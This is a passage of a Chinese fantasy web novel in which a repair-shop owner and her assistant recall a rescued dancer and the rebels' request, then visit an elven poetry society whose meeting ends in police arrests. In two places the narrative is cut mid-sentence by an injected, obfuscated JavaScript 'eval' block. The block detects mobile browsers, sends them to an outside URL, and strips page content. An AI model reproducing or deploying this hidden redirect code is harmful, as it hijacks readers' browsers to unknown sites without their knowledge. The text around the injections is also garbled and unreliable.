裙摆随着音乐扬起又落下,露出她纤细雪白的小腿,海藻般的黑色长发在空中舞动,金属的头饰在酒馆昏暗的灯光下发出耀眼的光泽。 嘈杂的酒桌瞬间安静了下来,所有人都在看着台上的女孩,她像一团红色的火焰,在微醺的空气里点燃所有人血液里流动的酒精。 贾思年看着那头卷曲的长发,想起了那个女人。 印象里她也有这样一头美丽的长发,她也很爱跳舞,但却很少跳,只有极偶尔的情况下,她会在夜里一边小声唱歌,一边拉着贾思年在院子里转圈。 如果她能站在舞台上,应该就是这样的吧? “新来的?”贾思年转向身边的服务生问道。 “刚来没几天,叫安娜。” 那一晚是安娜第一次表演,她看起来既青涩又紧张,但难掩热情优美的舞姿和姣好的容貌。舞毕,台下爆发出掌声和欢呼,酒馆的客人们把钱币扔到舞台上,安娜拘谨又兴奋地向大家鞠躬致谢,两个服务生在一旁收拾着舞台上的打赏。 贾思年去外面的花店买了一束浅绿色的洋桔梗,托酒馆的服务生送给安娜。 洋桔梗,是那个女人最喜欢的花。 后来只要没有工作,贾思年每个周末都会去看安娜跳舞,然后在结束时托人送去一束花。 直到有一天,她正要把花递给服务生,那个年轻男孩悄悄趴在她耳边说:“老板娘让你亲自送去。” 贾思年跟着他穿过走廊,走到门牌上写着“安娜”的房间,她听见里面传出了男人的声音。 服务生提到老板娘时,贾就知道是安娜有了麻烦,她整了整衣服,叩响了门。 “咚咚咚” “安娜你在吗?” 屋里男人的声音戛然而止,门被匆忙打开了,贾思年看到了安娜美丽的眼睛,她的眼里写满了惊慌,看到贾思年,又闪过一丝迟疑,然后她的视线落在了贾手里绿色的洋桔梗上。 “救救我。”她的唇形无声地说。 贾思年的脸上挂上微笑,慢步走了进去:“你今晚也很美,安娜。” 然后她就看见了坐在沙发上的健壮男人,“呀,是尼斯老板,好久不见!”然后转头对安娜露出宠溺的笑:“你有客人怎么不跟我说呢?” 安娜像只受惊的小鸟,她挽着贾思年的手臂小声说:“尼斯先生来得匆忙,我还没来得及告诉你。” 沙发上的男人站起身来,挑了挑眉,“贾老板前阵子不是刚招了一个小白脸做助理?没想到还有这种爱好啊。” “林奈是为了工作,安娜不一样。”贾思年低头看了看安娜挺拔的鼻尖,搭上了她的手。 “本来没想让大家知道,我倒是无所谓,对安娜的名声不好。”贾思年有些不好意思地笑了。 “哼,那我就不打扰二位了,再会。”男人扬长而去。 门被重重地关上,贾思年感觉到身边的女孩被吓了一个激灵。 “你没事吧?” 贾思年脸上的笑容瞬间消失,认真地盯着安娜说。 安娜突然脸一红,松开了她的手臂,“我没事,谢谢你。” “你就住在这里?”贾思年把花束放在了梳妆台上。 “嗯,暂时住这里,过几天就该搬出去了。”安娜低下头,贾思年看到长长的睫毛在她脸上闪烁。 “搬去哪里?” “……还不知道。”安娜的头更低了。 “你知道钟表街,贾的修理铺吗?”贾思年问道。 “我知道。” “我就住在那里,如果你需要一个住处,随时可以来找我,”贾思年转身向门口走去,“今天打扰了,我在你门口稍等一下再走,以免别人起疑。” “好。”安娜点点头。 第二天一早贾思年就听见了清脆的门铃声,她知道这个时候林奈正睡得像死狗,天塌了都不会哼一声,她只好自己起来,身上挂了一件穿得太久像裙子一样长的白色宽大短袖,走下楼去开门。 “谁啊。” 贾思年打了个哈欠拉开了门,看见安娜穿着藏青色的连衣裙,正提着箱子站在门口。 “贾……老板,您好,您昨天和我说可以过来……”安娜说话吞吞吐吐,看起来很紧张。 贾思年瞬间清醒了,她没想到安娜这么快就来了。 “啊,安娜,快进来,你的箱子重吗?我来帮你提。”她向安娜伸出手去。 “不重的,谢谢贾老板。”安娜跟着她走进了客厅。 “叫我贾就可以。”贾思年带安娜上了楼梯,二楼这一侧只有一个房间,她推开房门示意安娜进来。 “你就住在这里吧,不过可能需要你打扫一下,这里很多年没人住了。”贾思年说着摸了一把写字台上的积灰。 “洗手间的话,得劳烦去一楼了,对面的楼梯后面就是洗手间。” 贾思年环顾四周,觉得也没什么需要添置的,这是老贾还活着的时候她自己的房间,墙上贴着泛黄的摇滚乐队海报,写字台上摆着老贾做给她的神似洛洛的机械小狗。 贾思年打开窗子,清晨的空气涌了进来,一切都仿佛和九年前一样。 “好了,那你收拾一下吧,一会儿下来吃早饭。”贾思年转身要离开。 “让我来做早饭吧。”安娜叫住了她。 “可以让我做点什么吗?……我真的很感谢你。”安娜低下了头。 “又没做错事为什么总是低头?”贾思年歪着头看安娜的头顶。 “那就交给你,厨房是电视墙左边那间,有什么找不到就喊我。” 觉是睡不成了。 贾思年坐在客厅的沙发上看手机里的新闻,等着安娜给大家做早饭。 “索罗甘战况进一步升级,反叛军已全部撤到南部沙漠地区,阿尔弗雷德政府有望一举拿下胜利。” 贾思年读着手机上的文字,科斯塔联盟的记者写的东西让她觉得恶心,谁不知道阿尔弗雷德不过是科斯塔联盟的狗,为了自己口袋里的钱,不惜帮助整个民族的敌人残杀血亲同胞。 贾思年息掉了屏幕,有件事已经烦了她一阵了。 反叛军的领袖,阿梅利亚王女前几日派人找到了她,提出了一个无厘头的委托。 委托的内容非常简单,只要她围着阿库普拉岛转上几天,再声称自己找到了神迹,任务就算完成了,而且报酬丰厚,是怎么听都赚的买卖。 但是贾思年知道,整个金港的赏金猎人,恐怕没一个会接下这个委托。 如今的世界就是科斯塔联盟的天下,夏曦国和安比克索联邦虽是后起之秀,但也难与之分庭抗礼。索罗甘的反叛军能支撑到现在,必是两国在背后支持,想借此与科斯塔联盟竞争夺索罗甘洲的控制权。 而谁要是接了这个委托,那就是公开支持反叛军,反对科斯塔联盟。生意做不成事小,恐怕要被科斯塔联盟一并通缉也说不定。 “北边切断了我们的水电……他们甚至把罗梅尔河在上游筑坝拦了起来,可我们的同胞却宁愿躲在沙漠里等死……夏曦国答应援助物资……但王女大人需要一个神迹,让大家重新团结起来。” 贾思年记得那个似乎还在变声期的联络人,他讲话听起来断断续续,后来一声巨响,通话就中断了。又过了一天,一个更加年轻的声音再次找到了她,告诉她他是新的联络员,昨天联系她的人在轰炸中牺牲了。 贾思年觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537544|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得该死,但又不知道到底是谁该死。 她早就从新闻里了解过这场战争,她知道战争就是这样惨绝人寰,不管是哪一边,大家不过是立场不同罢了,因为表面不同的立场让无辜的人流血牺牲,最后胜者一方伤亡的民众被尊为英雄,败者一方则是罪有应得。 贾思年觉得可笑,死都死了,她才不在乎自己死后的名声。 她不知道索罗甘洲那鸟不拉屎的沙漠到底有什么可争的,也不知道王女和沙漠里那些神神叨叨的苦行僧的脑袋瓜子里都在想些什么。 她想为无辜的人做些事,但她不想押上以后的人生赌反叛军能赢。 这是政治,不是生意。 新闻上的画面像走马灯一样闪过,最终定格到贾思年的书房,她一个人坐在窗边看书,但思绪早就不在书上,她迟迟没有接下那个委托,她知道自己在害怕什么。 你在害怕什么? 她笑了,合上书。 在听筒里传来巨大爆炸声响的那一刻,她知道自己心里早就有了答案。 她忽然听到了跑上楼梯的脚步声,安娜推开书房的门冲了进来,“我求求你,贾,我的父母还在南边,有人来金港找到我,跟我说如果可以让你答应,他们就把我的父母保护起来。” 安娜满脸是泪水,跪在了贾思年的面前。 贾思年眉头紧锁,垂眼看着她:“你搬到我这里也是为了这个吗?” 安娜抬起头看着她,眼里尽是委屈和不可思议:“我没有……我今天才知道他们找到了你……” “……对不起安娜,是我不好。” 贾思年起身扶她站起来,抽了两张纸巾擦掉了她脸上的泪水,“你不必求我,我已经打算接下委托了。” 她抱住了安娜纤瘦的肩膀,轻轻拍了拍她的后背,“别哭了,现在就去告诉他们我同意了,你的家人会安全的。” 贾思年抬眼,忽然看到书房的门被打开了一道泄密的缝隙,她看到了一只棕色的眼睛。 谁在那! 贾思年从梦中惊醒,发现自己还在开往科斯特杰的列车上。 糟了! 居然在这里睡着了! 贾思年转头看到一行人都睡得东倒西歪,又不动声色地观察附近的其他乘客,她看不出任何异常。 究竟是噩梦,还是另有其人? 她经过短暂的懊悔,立刻觉得此地不宜久留了,明天再去一次圣科托姆就立即离开,她看了看林奈睡得流口水的脸,不管怎么样,不能拖累林奈一起死在这。 “乘客们,科斯特杰就要到了……”广播里传来了温柔的女声。 “醒一醒啦,”贾思年摇了摇身边的林奈,“要到站了。” 大家纷纷睁开眼睛。 “天呐,我居然睡着了。”查克揉揉眼睛说。 “那明天我们圣科托姆车站见!”贾思年向里奥挥了挥手,走出了列车。 …… 希尔站在王座之下,灯光昏暗,他看不清歪在王座上的精灵的脸,“陛下,属下无能,依旧没有进展。” “又不是你跟着他们,别说这样的话,希尔。” “我也试图去读那影岛人的想法,没有用,对方封闭精神力场的能力很强。” 希尔微微欠身:“陛下,我始终认为,如果她不是另有所图,就没必要封闭自己的头脑,如此更是此地无银三百两,希望陛下尽早决断。” “我其实不在意她的意图,希尔。” 王座上的男人坐直了身体,希尔看清了他凌厉的深蓝色眼睛和苍白的皮肤。 希尔觉得有一丝沮丧,他从来就没真正看透过这位国王的心思,这几天来他一直派手下监视着两个人类的一举一动,企图知道他们来到普罗菲塔的真正目的,可现在看来,国王根本不在意这些。 他又一次办事不力了。 “但是你说的对,我也已经不耐烦了。”奥科霍利站了起来,他转过身去,透过巨大的落地窗看着身后华灯初上的科斯特杰。 “明天他们去哪?”他问道。 “圣科托姆。”希尔回答。 “又去圣科托姆?” “斯尼萨漫家的女孩邀请他们去自由诗社。” “哦?那个左翼资助的学生社团?”奥科霍利的声音多了一丝玩味。 “是的,陛下。” “那是好机会啊,让我们的小老鼠别再藏了,”奥科霍利转过身来,“随便找个理由试试她。” “是,陛下。” 16. 沼泽里的国家(十一) “拉斐特对拉维说, 愿你的灵魂, 自由而无用。” ——《欧莱经书:起源》 林奈又一次跟着贾思年走出圣科托姆车站,他看见里奥一个人站在车站前不远处,精灵女孩很快也发现了他们,冲他们挥了挥手。 “维尔塔宁先生身体不舒服,今天只有我们俩。”贾思年对里奥眨眨眼。 “你的头怎么样了,不要紧吧?”林奈盯着里奥卷曲的长发,试图找出她头上磕的大包。 “已经不要紧了。”里奥摸摸自己的头,再一次带着他们走进了圣科托姆的大门。 “诗社的同学们想用小型座谈会的形式,”林奈听到里奥在讲今天的行程,“大家准备了一些问题,并不是非常正式,你们放轻松回答就可以。” “后面可能还会有自由问答环节,大家都很想了解人类世界。” 林奈听说今天被邀请做客学生社团时还是很紧张的,首先他没参加过社团活动,其次他发现自己好像也不是很了解人类,很多问题他也回答不了。不过反正有贾在,想来也不用说什么,林奈跟在贾思年和里奥的身后,腰杆又挺了起来。 里奥带他们进了图书馆的讨论室,从书包里拿出两份文件,“这上面是一些问题,你们先看一下。”然后便离开去了洗手间。 林奈看着纸上的字念出声来:“第一部分:关于个体,您的职业是什么。” “我的职业?你的助手?”林奈看向贾思年。 “修理铺学徒吧。”贾思年接着读上面的问题,“您有哪些家庭成员,在家庭中的责任分别是什么。” 林奈看见贾思年把文件扔在了桌子上,“这是在查户口吗?我工作注册都没这么麻烦。” 林奈往后翻了翻,发现后面的问题更是难以回答。 “人类世界目前形势如何,各个国家的地位是怎样的……贾,我觉得你应该跟里奥谈谈,这些问题恐怕要把最顶尖的政治经济学家请来才能回答。” “你说得对,这还不如查户口,这些问题问得还真……有青年学生风范。” “你继续看吧,我也想去洗手间。”林奈起身走出了讨论室。 洗手间洗手间。 林奈顺着天花板上悬挂的标识走过去,穿过一排排高大的书架,忽然听到有精灵男孩说话的声音,“……我父亲批评了我,我为我那天的行为向你道歉,对不起,里奥。” 里奥? 林奈停下了脚步四处张望,看见几个书架后面似乎有个梳着整齐棕色短发的后脑勺。林奈轻手轻脚地走进书架后面,抽出了一本书假装在看。 “没关系,我还有事,先走了。”是里奥的声音。 “等一下,我听说你今天邀请了那两个人类去自由诗社?”精灵男孩叫住了她。 “是的,你也想参加座谈会吗?随时欢迎。” “你不要再参加自由诗社的活动了,我父亲说参加那种社团很危险,思尼萨漫先生呢?他知道你在做什么吗?” “我做什么跟他没关系。”里奥向来平静如死水的声音里难得有了一点厌烦的情绪。 “好吧,那你听我的,现在就让两个人类回去。” “你怎么突然关心起我来了?”里奥听起来很不耐烦。 “……我们的父亲是多年的朋友,我们以后也会是……”精灵男孩的声音听起来有些没底气。 “我和诗社的同学都是朋友,我跟贾和林奈也是。”里奥说着话离开了。 “里奥……”棕色头发的男孩欲言又止,望着里奥离开了。 林奈偷偷瞄着那个精灵男孩的侧脸。 距离比较远,他并不能确定那是不是之前和贾思年在巷子里打架的男孩。 不过他之前不是在欺负里奥吗? 他们这是又和好了? 林奈静静地等着他离开,合上书放回了书架。 他说让两个人类离开。 虽然不知道原因,但是林奈觉得有必要让贾知道这件事。林奈继续按着标识往洗手间走去,忽然侧面的书架里传来了一个有点熟悉的声音。 “先生,打扰一下。” 林奈向旁边看去,是一个穿着暗红色斗篷精灵男孩,林奈看到了他灰色的眼睛和梳的整齐的棕色短发,心里一惊。 “……你好,请问有什么事吗?” 比林奈矮了半头的精灵男孩力气却不小,一把将林奈拉到身边。 “我知道你刚刚一直在听我们的谈话,如果你真的把里奥当成朋友,就立刻和那位女士一起离开普罗菲塔回家去。”他压低了声音说道。 林奈有些不知所措。 “我知道精灵讨厌人类,我向你道歉,但是也不至于这样……” “跟这些没关系。” 男孩打断了他的话,“里奥参加的那个社团很危险,那是左翼私下资助的社团,经常有极端的成员入狱然后失踪。” “抱歉我失礼了。”精灵男孩松开了林奈的手臂,“但你们不该来这里,人类和精灵本就不该有联系。” “先知进入人类世界后尸骨无存,你们来到普罗菲塔又能得到什么?” 倒也没必要这样吧。 林奈叹了口气,但是表面上还是答应了他:“我回去会告诉贾的,她是我的老板,一切都得听她的。” “感谢您的理解。” 精灵男孩向他微微俯身致意,转身离开了。 林奈觉得莫名其妙。 这帮精灵不会要让他们替祖宗还债吧? 这社团听起来也怪,一个诗社的成员能犯什么大罪? 入狱然后失踪? 听起来像在监狱里被灭口了一样。 自由民主的普罗菲塔怎么会发生这样的事呢? 这根本就是危言耸听嘛。 但那小子说得有板有眼的,林奈又觉得不像在骗他,还是得回去跟贾商量一下,他想。 当林奈再次走进讨论室时,贾思年和里奥已经准备离开了。 “座谈会就要开始了,我们要赶快过去。” 林奈跟在贾思年和里奥的后面,走过整齐的草坪,穿过长长的走廊,来到了一间教室门口。 “大家已经在里面等着了,我们进去吧。” 里奥推开门,林奈跟着贾思年走了进去,刚一踏入房间,教室里就爆发出了掌声。 林奈有点想缩脖子,但是他忍住了,在里奥的指引下,他跟着贾思年坐到了教室最前面的台子后。林奈用余光在教室里假装不经意地观察,发现很大一间教室里几乎坐满了穿红袍的学生。他有点紧张,他完全不知道里奥后来把问题都改成了什么。 忽然有一只温热的手拍了拍他的手,是贾思年。 “没关系的,放轻松。” 他听见她小声说。 掌声渐渐停歇,坐在第一排的一个金色短发男孩站了起来:“贾女士,林奈先生,欢迎你们做客自由诗社,我是社长林图,今天来参加座谈会的不仅有诗社的成员,还有其他同样渴望了解人类世界的同学。” “我们现在开始吧。” 林图坐了下来,“首先请贾女士和林奈先生向大家做自我介绍。” “我叫贾思年,在金港经营一家修理铺,林奈是我的助手。” “请问您主要修理些什么呢?” “主要是一些家用电器。” 林奈知道贾思年又在一本正经地胡说八道,他在心里敬佩她撒起谎来真是脸不红心不跳。 林奈第一次踏入修理铺的工作室时,就知道那里绝不简单。 小型的龙门架上悬挂着金属义肢,周围的柜子里分门别类地摆满了各种奇怪的机械手套、看不出功能的器械、和明显能看出功能的枪支和兵器。 你管这叫家用电器? 好在精灵学生们对贾思年修理什么东西似乎一点都不感兴趣,林奈不用想也知道,人类的科技水平大概要落后精灵几百年,谁会关心猴子们的科技水平呢? 林图迅速结束了开场的客套话,直奔主题:“请问您觉得精灵和人类有什么不同之处呢?” 等下,这不是刚才文件上的问题吧? 林奈悄悄捏了一把汗。 “最大的不同之处,应该就是精灵之力了吧?”贾思年略经过思考回答道。 “除此之外,我其实没观察到有什么不同。” 贾思年的话音刚落,学生之间就开始了窃窃私语,林奈不明白这句话为什么会引起许多讨论,只见社长敲了敲桌子示意大家保持安静,他清了清嗓子。 “我来替大家提出疑问,事实上,在我们主流的观点中,人类被描述成了非常负面的形象,人类野心勃勃又心狠手辣,这也是普罗菲塔保持封闭的原因。” “完全能够理解,毕竟是人类害死了先知,如果情况反过来的话,我觉得人类一定也会这样教育自己的子孙。”贾思年看起来依旧从容不迫。 “可您却说,除了精灵之力,精灵和人类没什么不同,在普罗菲塔确实有许多精灵没有精灵之力,您认为他们和人类有什么不同吗?” 贾思年经过短暂的思索回答道:“除了长相可能略有差异,我觉得确实没什么不同。” 她把双臂叠在胸前,头转向林图的方向,林奈看不见她的表情,他听见她说,“说实话我不太理解,为什么你这么执着于这个问题呢?” “因为精灵就是比人类高贵!” 突然不知从教室的哪个角落爆发出了声音。 “安静!” 林图立刻站起来转过身去,“请志愿者将干扰座谈会的同学请出去!” 教室里瞬间产生了一阵骚乱,很快一个精灵男孩被从座位上架起来拖了出去,他一边被拖走一边还在大声嚷嚷。 “你们本来就觉得精灵更高贵!一群道貌岸然的家伙!……你们没有权利赶走我!我要向学校举报你们!……” 林奈看到零零散散有些学生也起身走出了教室,离开之前还不忘瞥一眼他身边的贾思年,那眼神里尽是混着轻蔑的敌意。 “很抱歉,贾女士,林奈先生,这次座谈会是面向全体同学的,确实有部分同学有这样的想法,我对此深表歉意。”林图向他们鞠躬致歉。 “不必在意,我们能理解。” 林奈听到贾思年依旧不咸不淡地回答问题,自己的脚趾却早就开始抠起了三室一厅。 林奈完全理解精灵讨厌人类,也对今天的情况有些心理准备,但他没想到恶意会被如此直白的表达。汗水从他的头顶滑落,他一秒都不想待在这里了,他想立刻拔腿就跑。 而刚才被拖走的学生引起了外面更多学生的围观,不一会儿,门外就站满了精灵学生,大家站在门口议论纷纷。 “想参加座谈会的同学请进来坐下,其余同学请不要聚集在走廊造成拥堵。”林图冲着教室的后门外说道。 教室后面很快涌进更多的学生,林奈感受到了四面八方投来的凝视,目光仿佛有了重量,压得他喘不过气。 他恨不得立刻钻进脚底下刚竣工的三室一厅。 “好,我们继续。” 林图示意关上门后继续问道:“我听说您二位已经参观过了普罗菲塔纪念馆,请问您怎么评价先知普罗菲塔的遭遇?” 林图的话音刚落,学生之中又发出一阵唏嘘。 林奈在心里叹气,不用想也知道这个问题一定会被问到,不过他现在倒觉得也无所谓了,贾一定早就准备过这个问题。 “先知的遭遇令我们悲痛不已。” 贾思年看起来面色凝重。 “先知是人类走向文明的导师,是智慧和高尚的化身,在我看来,他明知自己会被残忍地杀害,还是毅然决然地赴宴,只为了把自己的遗体留在人类世界,造福全世界……” “这简直是胡说八道!” 贾思年被台下突然爆发的声音打断了,一个精灵女孩愤怒地站了起来。 “没有任何证据表明先知事先知道自己会遇害!他不可能是自愿去死的!” 语毕,学生之中立刻响起了讨论的蜂鸣,林奈看向林图,期待他会站起来维持秩序,可林图的眼睛睁得老大,张着嘴巴好像发不出声音,显然被贾思年的发言惊呆了。 贾的发言……她说先知是自愿死在人类世界的…… 什么?! 这下轮到林奈惊呆了。 先知早就知道自己会死?为什么先知会知道…… 林奈愣住了。 对啊,普罗菲塔是先知,他怎么会不知道自己将有去无回? 所以难道一切都在先知的计划之中? 只为了把遗体留在人类世界? 林奈瘫在椅子上说不出话来。 世界上真的会有如此无私的灵魂吗? 他明白林图为什么一副震惊的模样久久不能回过神来,可贾是怎么知道这些的? 他疑惑地看向身边的贾思年。 “这些不过是我个人的看法。” 贾思年放大了音量,台下的声音低了一些,她继续说道:“我前两天在这里的图书馆借了一本叫《世界简史》的书,上面详细介绍了普罗菲塔之死的前因后果。” “我发现了一个问题,就是完全没有记载证实普罗菲塔的遗体去了哪,那个时候的人类并不实行火葬,所以我想他的遗体一定留在了人类世界。” “而人类世界恰好有一个宗教,阿迪威教。”贾思年转了转眼睛。 “这个宗教起源于科斯塔洲的中部,把当地的一棵千年云杉奉为神树,我想,那很可能就是普罗菲塔的遗体吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537545|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贾思年顿了顿。 “阿萨斯诺得到了普罗菲塔的血,但是却没想到躯体同样重要,我猜他大概把普罗菲塔的躯体扔到了河里,然后顺着河流漂到了科斯塔洲的中部,普罗菲塔的遗体就在那里长成了一棵树。” 贾思年的话瞬间在坐席间引起了轩然大波。 “当然,这一切都是我的猜想,大家听听就可以了,毕竟都是些没有根据的事。” 贾思年看起来心虚地笑笑,摆了摆手。 “虽然您是我们的客人,也请不要做出这种亵渎先知的猜测。” 林图看起来好像回过神来了,但听起来反倒不太坚定了。 “如果各位觉得冒犯,我向大家道歉。”贾思年立刻说道。 “对于普罗菲塔的遭遇,我也感到十分抱歉,可我不知道能为各位做些什么。” 林图摇了摇头,“这不是你们二位的错误,但您的道歉令我们欣慰,如果人类都像您一样,我想先知也不会遇害了。” 林图的心思似乎又重新回到了座谈会上,他声音有些沙哑,提出了下一个问题:“请问您支持精灵和人类之间的交流吗?” “嗯……说实话,我不支持。”贾思年回答道。 “如果现在有一位拥有精灵之力的精灵突然出现在了人类世界,我认为他大概率会被抓进实验室做研究。” “这一点你说人类心狠手辣也罢,但是突然出现一种生物拥有超出自己认知的力量,我想精灵们也会感到恐惧,并且希望这个力量能被自己控制。”贾思年试图解释。 “我们目前并不知道有什么生物拥有超越精灵之力的力量,但我依旧不同意您的观点,为什么精灵之力会让人类感到恐惧并想要试图控制呢?结合你刚才说的,我更倾向于会在人类世界产生一种新的宗教。”林图说道。 “可人类早就不是石器时代的原始人了,”贾思年用手托着下巴,直直地看着林图。 “如果相同的情况出现在几百年前,我想这位精灵探险家确实会被称作神,但是现在不一样了,不管什么超自然的东西出现在人类世界,都会被拿到显微镜下去看一看了。” “你不了解人类,精灵也确实站在了地球的顶端,我想在这个问题上精灵是永远无法与人类感同身受的。” “看来这个问题并不好讨论。”林图点了点头。 “下一个问题是,请问你们二人是怎样找到普罗菲塔的?” “人类世界有一本记录先知的经书,许多探险家都因此到访附近,而且一直传说有人曾在这附近失踪又被找到,虽然后来他们不是失忆就是疯了,但是我们还是来了。”贾思年回答。 “那么大门是怎样的呢?”忽然有学生提问。 林奈注意到忽然有学生开始陆续离开了,他们看起来有些惊慌,快步推门离开了教室,似乎在害怕什么。 “大门是一道光束,似乎是空间经过折叠……” 突然咣当一声,教室前后的门被强行破开,巨大的声响打断了贾思年的发言,一群身穿白色斗篷、戴着兜帽的精灵站在门口,为首的走了出来。 “请大家保持秩序,请此次集会的组织者林图上前。” “是治安队!” 林奈听到有学生在小声惊呼。 “是我。” 林图站了起来,“我们正在举办社团活动,你们这是在干什么?” “你们违反了第一管理办法,禁止以任何形式探索去往人类世界的方法。”队长示意左右控制住林图。 林图的眼睛里满是惊慌:“可只是有人问了大门……” “是的,讨论大门的形式就是在探索去往人类世界的方法,这是严令禁止的。” 治安队队长下令到:“逮捕所有诗社成员,其余无关人员尽快组织签署保密协议。” 教室中爆发出一阵阵惊呼,人群慌乱了起来,林奈不明白为什么会有这样的法律,也不知道违背这条法律是什么后果,白色斗篷的精灵不知何时已经将他和贾思年围了起来。 “您二位将作为重要的证人协助审判,请您配合。” 林奈透过治安队白色斗篷的缝隙看着场地被清开,学生们被一个一个地检查,大部分签了协议就离开了,最后留下了二十多位学生。 林图一直在试图和治安队的长官对话,“关于大门的讨论是同学的临时提问!这并不在我们座谈会规划的内容范围之内!你们应该逮捕的是那名学生!不应该逮捕全体诗社成员!” 然而这根本就是徒劳。 除了诗社成员,治安队遣散了所有其他学生。 “有什么话回去再说吧。”队长示意把人带走。 “我抗议!你们应该去抓那名提问的学生!你们没资格把我们带走!” 突然一个诗社的成员大声喊道,他试图挣脱治安队的控制,其他的成员见状也开始叫喊,很快学生们和治安队扭打在了一起,但只两三下就被制服了。 林奈看见一名治安队员拿出了一支闪着蓝光的警棍,正要向那个学生挥去,忽然他感到自己身边好像有一阵风刮过。 是贾。 贾思年轻巧地从治安队人墙的缝隙中穿过,她向前跃起,在警棍接触到那个学生的后颈之前,一脚把它踢飞了。 警棍离了手,蓝色的光就消失了,林奈看见它在空中旋转着画出一道弧线,最后掉在地上,发出一连串清脆的声响。 “有话可以好好讲。” 贾思年站直了身体,对着那名被两个治安队员控制住的学生说:“你会配合这些先生们的工作对吧?” 他满脸惊慌失措,急忙点头。 “他已经表示会配合了,就不要用这样的武器对付孩子了吧。”贾思年回头对那名治安队员说道。 治安队员显然还沉浸在警棍被飞踢出去的惊讶中,似乎没经过思考就点了点头。 林奈看见治安队的长官正朝着他们走去,林奈看见了他白袍下隐约露出的蓝光。 危险! 林奈试图穿过治安队扑向贾思年,但却被死死按住,他眼睁睁地看着贾思年被蓝色的光笼罩了全身,她的身体在一阵痉挛中倒下。 林奈感觉自己的脑袋嗡的一声。 身边的警告和呼喊变得模糊不清,他拼尽全力挣脱了身前的治安队员,他大声喊着贾思年的名字,扑向她倒在地上的身体。 他想跟她回家。 现在就离开。 然而就在他马上要触碰到贾思年的时候,他忽然眼前一黑,栽了下去。 林奈好像又看见了那个在家里穿着宽大白色T恤的女孩。 在他失去意识之前,他看见那个女孩在不断下沉,他想抓住她的手,却够不到,只能眼睁睁地看着她离他越来越远。 最后沉在了名叫无力和痛苦的海底。 17. 沼泽里的国家(十二) 贾思年在无边的黑暗中醒来。 她伸出手,看见自己透明发光的身体,她发现自己的衣服全都不见了。 她动了动手脚,没有任何实感,她就这样赤裸地漂浮在黑暗中。 这是哪儿? 发生了什么? 贾思年努力回想,她想起自己突然头脑发热踢飞了治安队员的警棍,然后后背就传来一阵电击,失去意识之前,好像还听到了林奈的声音…… 完蛋……好像又多管闲事了。 贾思年一拍脑门儿,然后惊讶地发现自己听不到巴掌和额头碰撞的声音,她瞪大了眼睛又拍了几下,发现不仅没有声音,而且也没有传来相碰的触感。 她觉得自己被黑暗吞没了。 没有光线,没有声音,没有触觉,她甚至不确定自己是否真的醒着,她的噩梦都比现在的处境真实许多。 她想挣脱,想要大声叫喊,却发现自己甚至感受不到尖叫时喉咙发紧的痛感。 这到底是怎么回事? 贾思年试图思考,如果她确实干扰了人家治安队执法,那么此时此刻,她应该被扔进问讯室或者看守所,但是精灵恐怕也知道对她没什么好问的,反正她也是满嘴跑火车,问不出几句真话。 那么,现在其实是在坐牢? 这倒是说得通,这种环境确实很像那帮家伙能想出来的牢房,贾思年环顾四周,依旧是漆黑一片,她想要向后躺倒,却发现这里连重力都很模糊,她只能这样直立地漂浮。 扰乱治安……恐怕是不小的罪吧? 她见识过普罗菲塔的井井有条,这样的秩序只能是重罚之下的产物。 贾思年有些丧气,她倒是不怕坐牢,但是她怕不知道要坐多久的牢,况且自己被抓来坐牢,林奈又会怎么样呢? 林奈也要跟她一样孤零零地漂在黑暗里吗? 她摇了摇头。 不会的,林奈又没有做错什么。 恐怕他只会躲起来哭鼻子。 没有一丝时间观念,没有任何事可以做,贾思年开始思考这一切的前因后果。 坐牢这件事本身就令她匪夷所思,精灵们大可以把她搞疯然后扔出阿库普拉岛,反正他们也不是头一回这么干了,但他们现在却留她在这里坐牢。 这种让人摸不着头脑的行为她只能想到一位大人,那就是国王奥科霍利。 这一切当然是经过他授意的,贾思年搞不明白,他到底想从她这里得到什么? 好消息是她现在终于有时间好好捋顺这些天的经历,但依旧觉得疑点重重,她想起里奥在祈愿山的山洞对她里说的话,又想到自由诗社对他们的邀请。 看来有一部分精灵并不满足于被关在这里,可是几千年了,为什么没有一个精灵出现在人类世界? 还是说他们早就已经偷偷跑出去了,只是人类还没有察觉? 想不通的事情太多,贾思年就会开始摆烂,她闲得发慌,就开始一本正经地给自己写回忆录,然后试图写出一些自认为犀利的评价和精妙的句子。可是她并没有什么方式能把这些记录下来,她也不认为自己醒来时还能拥有这些无聊的记忆,不过这都无所谓,打发时间而已。 反正她现在最不缺的就是时间。 就这样不知在昏睡和思考中过去了多久,贾思年忽然在睡梦中听到了一声尖锐的铃声。 她睁开了眼睛,看到纯白的天花板上挂着一盏灯。 ……这是……结束了吗? 惨白的灯光让她觉得不真实,她挣扎地想要起身,却发现自己被绑在床上动弹不得,皮带在她挣扎的过程中勒得她浑身发痛,但是这突然恢复的感观竟然让她觉得莫名感动。 X的,可算是出来了。 身下的床忽然动了起来,慢慢折成了一个躺椅,贾思年看到了挂在墙上的电子时钟,上面写着日期和时间,她惊讶地发现从她晕倒到现在不过只过去了一个多小时,可她却觉得自己好像在黑暗里漂浮了一个世纪。 忽然,藏在白墙里的自动门打开了,贾思年看见林奈站在门口,眼睛红红的。 说什么来着?果然躲起来哭鼻子了。 